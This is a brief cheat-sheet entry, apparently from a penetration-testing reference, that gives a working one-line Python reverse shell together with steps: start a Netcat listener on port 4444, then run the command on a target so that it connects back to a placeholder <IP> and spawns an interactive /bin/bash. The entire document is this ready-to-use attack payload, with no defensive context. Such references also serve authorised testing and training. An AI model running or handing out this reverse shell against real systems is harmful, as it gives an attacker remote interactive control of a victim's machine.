exploitationlinuxtool

Summary

One-line Python reverse shell that connects back and spawns an interactive /bin/bash PTY via pty.spawn.

Walkthrough

A compact Python reverse shell that connects back to your listener and spawns an interactive bash PTY.

Steps

  1. Start a Netcat listener on port 4444, then run the one-liner on the target with <IP> set to your host. pty.spawn("/bin/bash") gives a semi-interactive shell out of the box.

Commands

bash

python -c 'import socket,os,pty;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
